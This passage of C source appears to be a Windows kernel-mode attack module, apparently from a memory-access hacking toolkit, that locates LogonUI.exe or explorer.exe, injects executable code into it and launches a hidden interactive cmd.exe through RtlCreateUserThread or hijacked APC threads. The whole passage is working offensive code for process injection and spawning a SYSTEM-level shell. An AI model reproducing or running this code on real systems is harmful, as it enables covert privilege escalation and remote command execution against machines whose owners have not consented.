fnExFreePool = (VOID(*)(PVOID))*SystemArgument2;
fnExFreePool(Apc);
}
}
/*
* Wait for dataIn[3] (default: 60) seconds or until pk->dataOut[9] is set to MAGIC_WAIT_WORD value
*/
VOID ActionWaitForExit(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk)
{
LONGLONG llTimeSecond = -1000000; // 100ms
QWORD i, max;
max = pk->dataIn[3] ? pk->dataIn[3] : 60;
max *= 10;
for(i = 0; i < max; i++) {
if(pk->dataOut[9] == MAGIC_WAIT_WORD) {
pk->dataOut[9] = 0;
return;
}
fnk->KeDelayExecutionThread(KernelMode, FALSE, &llTimeSecond);
}
pk->dataOut[0] = ERROR_TIMEOUT;
pk->dataOut[9] = 0;
}
/*
* Locate the PKAPC_STATE struct inside the PETHREAD opaque structure by searching for
* the first occurance of a reference to the PEPROCESS address location.
*/
PKAPC_STATE GetKApcState(_In_ PEPROCESS pEProcess, _In_ PETHREAD pEThread)
{
for(DWORD offset = 0; offset < 256; offset += 8) {
if((QWORD)pEProcess == *(PQWORD)((QWORD)pEThread + offset)) {
return (PKAPC_STATE)((QWORD)pEThread + offset - 32);
}
}
return NULL;
}
/*
* Locate the PKAPC_STATE struct inside the PETHREAD opaque structure by searching for
* the first occurance of a reference to the PEPROCESS address location.
*/
BOOLEAN GetKApcIsAlertable(_In_ PEPROCESS pEProcess, _In_ PETHREAD pEThread)
{
QWORD apcs = (QWORD)GetKApcState(pEProcess, pEThread);
apcs += sizeof(KAPC_STATE) + 3 * 8;
return *(PBOOLEAN)apcs;
}
/*
* Retrieve a suitable thread that may be used to queue the APC onto.
*/
PETHREAD GetPEThread(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, _In_ HANDLE UniqueProcessId, _In_ PEPROCESS pEProcess, _In_ DWORD cSkipThreads)
{
NTSTATUS nt;
PSYSTEM_PROCESS_INFORMATION pPI;
PSYSTEM_THREAD_INFORMATION pTI;
PETHREAD pEThread = NULL;
HANDLE UniqueThreadId;
PBYTE pbSPIBuffer;
ULONG cbSPIBuffer = 0;
QWORD i = 0;
nt = fnk->ZwQuerySystemInformation(SystemProcessInformation, NULL, 0, &cbSPIBuffer);
if(nt != 0xC0000004 || !cbSPIBuffer) {
return nt;
}
pbSPIBuffer = (PBYTE)fnk->ExAllocatePool(0, cbSPIBuffer);
if(!pbSPIBuffer) { return NULL; }
nt = fnk->ZwQuerySystemInformation(SystemProcessInformation, pbSPIBuffer, cbSPIBuffer, &cbSPIBuffer);
if(NT_SUCCESS(nt)) {
pPI = (PSYSTEM_PROCESS_INFORMATION)pbSPIBuffer;
while(TRUE) {
if(pPI->UniqueProcessId == UniqueProcessId) {
for(i = 0; i < pPI->NumberOfThreads; i++) {
// TODO: check ThreadInfos internal offset on Win7/Win8 (Win10 = OK)
pTI = (PSYSTEM_THREAD_INFORMATION)&pPI->ThreadInfos[i];
UniqueThreadId = pTI->ClientId.UniqueThread;
nt = fnk2->PsLookupThreadByThreadId(UniqueThreadId, &pEThread);
if(NT_ERROR(nt) || !GetKApcIsAlertable(pEProcess, pEThread)) {
continue;
}
if(cSkipThreads) {
cSkipThreads--;
continue;
}
fnk->ExFreePool(pbSPIBuffer);
return pEThread;
}
break;
}
if(!pPI->NextEntryOffset) {
break;
}
pPI = (PSYSTEM_PROCESS_INFORMATION)((QWORD)pPI + pPI->NextEntryOffset);
if(((QWORD)pPI < (QWORD)pbSPIBuffer) || ((QWORD)pPI > (QWORD)pbSPIBuffer + cbSPIBuffer)) {
break;
}
}
}
fnk->ExFreePool(pbSPIBuffer);
return NULL;
}
VOID ActionDefault_QueueApcState(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2,
PEPROCESS Process, KAPC_STATE ApcState, PVOID pvAddressUserMode)
{
DWORD i;
PKAPC pKApc = NULL;
PETHREAD Thread = NULL;
PKAPC_STATE Thread_ApcState = NULL;
QWORD qwPID = pk->dataIn[0];
// activate APC
i = 0;
do {
Thread = GetPEThread(fnk, fnk2, (HANDLE)qwPID, Process, 0);
if(!Thread) {
if(i) { break; }
pk->dataOut[0] = (QWORD)E_FAIL;
pk->dataOut[1] = 0x02;
return;
}
Thread_ApcState = GetKApcState(Process, Thread);
if(!Thread_ApcState) {
if(i) { break; }
pk->dataOut[0] = (QWORD)E_FAIL;
pk->dataOut[1] = 0x03;
return;
}
pKApc = fnk->ExAllocatePool(0, sizeof(KAPC));
fnk->RtlZeroMemory(pKApc, sizeof(KAPC));
if(!pKApc) {
if(i) { break; }
pk->dataOut[0] = (QWORD)E_FAIL;
pk->dataOut[1] = 0x08;
goto fail;
}
fnk->RtlZeroMemory(&ApcState, sizeof(KAPC_STATE));
fnk2->KeInitializeApc(pKApc, Thread, OriginalApcEnvironment, &KernelApcRoutine, NULL, pvAddressUserMode, UserMode, pvAddressUserMode);
if(!fnk2->KeInsertQueueApc(pKApc, pk, fnk->ExFreePool, 0)) {
if(i) { break; }
pk->dataOut[0] = (QWORD)E_FAIL;
pk->dataOut[1] = 0x09;
goto fail;
}
if(!Thread_ApcState->UserApcPending) {
Thread_ApcState->UserApcPending = TRUE;
}
} while((++i < NUM_PARALELL_APC_THREADS) && pk->dataIn[4]);
// wait loop for magic wait word
ActionWaitForExit(pk, fnk);
return;
fail:
if(pKApc) { fnk->ExFreePool(pKApc); }
}
#endif /* _WIN7_COMPAT */
//----------------------------------------------------------------------------------------------------------
// MAIN CODE BELOW:
//----------------------------------------------------------------------------------------------------------
/*
* Module main control routine. Connects to the parent process memory and injects
* user mode code into it. Tries to spawn a thread by using RtlCreateUserThread if
* function is exported by ntoskrnl - if not (win7) a fallback onto more complicated
* KeInsertQueueApc is used instead. The injected code then creates the new process.
*/
VOID ActionDefault(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2)
{
NTSTATUS nt;
OBJECT_ATTRIBUTES ObjectAttributes;
QWORD qwPID = pk->dataIn[0];
PEPROCESS Process = NULL;
PVOID pvAddressUserMode = NULL;
SIZE_T cbUserModeMemory = 0x1000;
QWORD qwAddrConsoleBuffer = 0;
HANDLE ZwProcessHandle = NULL;
KAPC_STATE ApcState;
CLIENT_ID ClientId, ClientId_2;
HANDLE hThread;
// lookup process
nt = fnk2->PsLookupProcessByProcessId((HANDLE)qwPID, &Process); // TODO: decrease handle needed???
if(NT_ERROR(nt)) {
pk->dataOut[0] = nt;
pk->dataOut[1] = 0x01;
return;
}
// allocate memory
fnk->RtlZeroMemory(&ObjectAttributes, sizeof(OBJECT_ATTRIBUTES));
fnk->RtlZeroMemory(&ClientId, sizeof(CLIENT_ID));
ClientId.UniqueThread = 0;
ClientId.UniqueProcess = (HANDLE)qwPID;
nt = fnk2->ZwOpenProcess(&ZwProcessHandle, PROCESS_ALL_ACCESS, &ObjectAttributes, &ClientId);
if(NT_ERROR(nt)) {
pk->dataOut[0] = nt;
pk->dataOut[1] = 0x04;
goto fail;
}
nt = fnk2->ZwAllocateVirtualMemory(ZwProcessHandle, &pvAddressUserMode, 1, &cbUserModeMemory, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(NT_ERROR(nt)) {
pk->dataOut[0] = nt;
pk->dataOut[1] = 0x05;
goto fail;
}
// Attach to user process memory
fnk2->KeStackAttachProcess(Process, &ApcState);
// Allocate memory for console buffer (if needed)
if(pk->dataIn[2]) {
qwAddrConsoleBuffer = SetupConsoleBufferUserMode(pk, fnk, fnk2);
if(!qwAddrConsoleBuffer) {
pk->dataOut[0] = (QWORD)E_FAIL;
pk->dataOut[1] = 0x06;
fnk2->KeUnstackDetachProcess(&ApcState);
goto fail;
}
}
// Intialize user mode code
nt = IntializeUserModeCode(pk, fnk, fnk2, (PBYTE)pvAddressUserMode, qwAddrConsoleBuffer);
if(NT_ERROR(nt)) {
pk->dataOut[0] = nt;
pk->dataOut[1] = 0x07;
fnk2->KeUnstackDetachProcess(&ApcState);
goto fail;
}
// Detach from user process memory
fnk2->KeUnstackDetachProcess(&ApcState);
if(fnk2->RtlCreateUserThread) {
nt = fnk2->RtlCreateUserThread(ZwProcessHandle, 0, FALSE, 0, NULL, NULL, (QWORD)pvAddressUserMode, 0, &hThread, &ClientId_2);
if(NT_ERROR(nt)) {
pk->dataOut[0] = nt;
pk->dataOut[1] = 0x0A;
goto fail;
}
CommonSleep(fnk, 250);
}
#ifdef _WIN7_COMPAT
else {
// Windows 7 fallback to more complicated KeInsertQueueApc method.
ActionDefault_QueueApcState(pk, fnk, fnk2, Process, ApcState, pvAddressUserMode);
}
#endif /* _WIN7_COMPAT */
fail:
if(ZwProcessHandle) { fnk->ZwClose(ZwProcessHandle); }
if(Process) { fnk2->ObDereferenceObject(Process); }
}
NTSTATUS GetProcessNameFromPid(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, _In_ HANDLE pid, _In_ SIZE_T cb, _Out_ PBYTE pb)
{
PEPROCESS Process;
LPSTR sz;
SIZE_T csz;
NTSTATUS nt = fnk2->PsLookupProcessByProcessId(pid, &Process);
if(NT_SUCCESS(nt)) {
sz = fnk2->PsGetProcessImageFileName(Process);
csz = fnk2->strnlen(sz, cb);
fnk->RtlCopyMemory(pb, sz, csz);
}
return nt;
}
NTSTATUS GetPidFromPsName(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, _In_ LPSTR szPsName, _Out_ PQWORD pqwPID)
{
NTSTATUS nt;
PBYTE pbSPIBuffer;
ULONG cbSPIBuffer;
PSYSTEM_PROCESS_INFORMATION pPI;
CHAR szPsNameBuffer[0x10];
nt = fnk->ZwQuerySystemInformation(SystemProcessInformation, NULL, 0, &cbSPIBuffer);
if(nt != 0xC0000004 || !cbSPIBuffer) {
return nt;
}
pbSPIBuffer = (PBYTE)fnk->ExAllocatePool(0, cbSPIBuffer);
if(!pbSPIBuffer) {
return E_OUTOFMEMORY;
}
nt = fnk->ZwQuerySystemInformation(SystemProcessInformation, pbSPIBuffer, cbSPIBuffer, &cbSPIBuffer);
if(NT_SUCCESS(nt)) {
pPI = (PSYSTEM_PROCESS_INFORMATION)pbSPIBuffer;
do {
fnk->RtlZeroMemory(szPsNameBuffer, 0x10);
GetProcessNameFromPid(fnk, fnk2, pPI->UniqueProcessId, 0x10, szPsNameBuffer);
if(0 == fnk->_stricmp(szPsNameBuffer, szPsName)) {
*pqwPID = (QWORD)pPI->UniqueProcessId;
break;
}
if(!pPI->NextEntryOffset) {
nt = E_NOT_VALID_STATE;
break;
}
pPI = (PSYSTEM_PROCESS_INFORMATION)((QWORD)pPI + pPI->NextEntryOffset);
} while(((QWORD)pPI >= (QWORD)pbSPIBuffer) && ((QWORD)pPI < (QWORD)pbSPIBuffer + cbSPIBuffer));
}
if(pbSPIBuffer) { fnk->ExFreePool(pbSPIBuffer); }
return nt;
}
/*
* Module entry point.
*/
VOID c_EntryPoint(_In_ PKMDDATA pk)
{
KERNEL_FUNCTIONS fnk;
KERNEL_FUNCTIONS2 fnk2;
InitializeKernelFunctions(pk->AddrKernelBase, &fnk);
InitializeKernelFunctions2(pk->AddrKernelBase, &fnk2);
#ifdef _PSCMD_SYSTEM
CHAR szBINARY[] = { 'L', 'o', 'g', 'o', 'n', 'U', 'I', '.', 'e', 'x', 'e', 0 };
#endif _PSCMD_SYSTEM
#ifdef _PSCMD_USER
CHAR szBINARY[] = { 'e', 'x', 'p', 'l', 'o', 'r', 'e', 'r', '.', 'e', 'x', 'e', 0 };
#endif _PSCMD_USER
#ifdef _PSCMD
CHAR szCMD[] = { 'c', ':', '\\', 'w', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'c', 'm', 'd', '.', 'e', 'x', 'e', 0 };
pk->dataIn[1] = 0x08000000; // hidden window
pk->dataIn[2] = 1; // interactive
pk->dataIn[4] = 1; // multi thread hijack (boost)
pk->dataOut[0] = GetPidFromPsName(&fnk, &fnk2, szBINARY, &pk->dataIn[0]);
if(pk->dataOut[0]) {
pk->dataOut[1] = 0x101;
return;
}
fnk.RtlCopyMemory(pk->dataInStr, szCMD, sizeof(szCMD));
#endif _PSCMD
ActionDefault(pk, &fnk, &fnk2);
}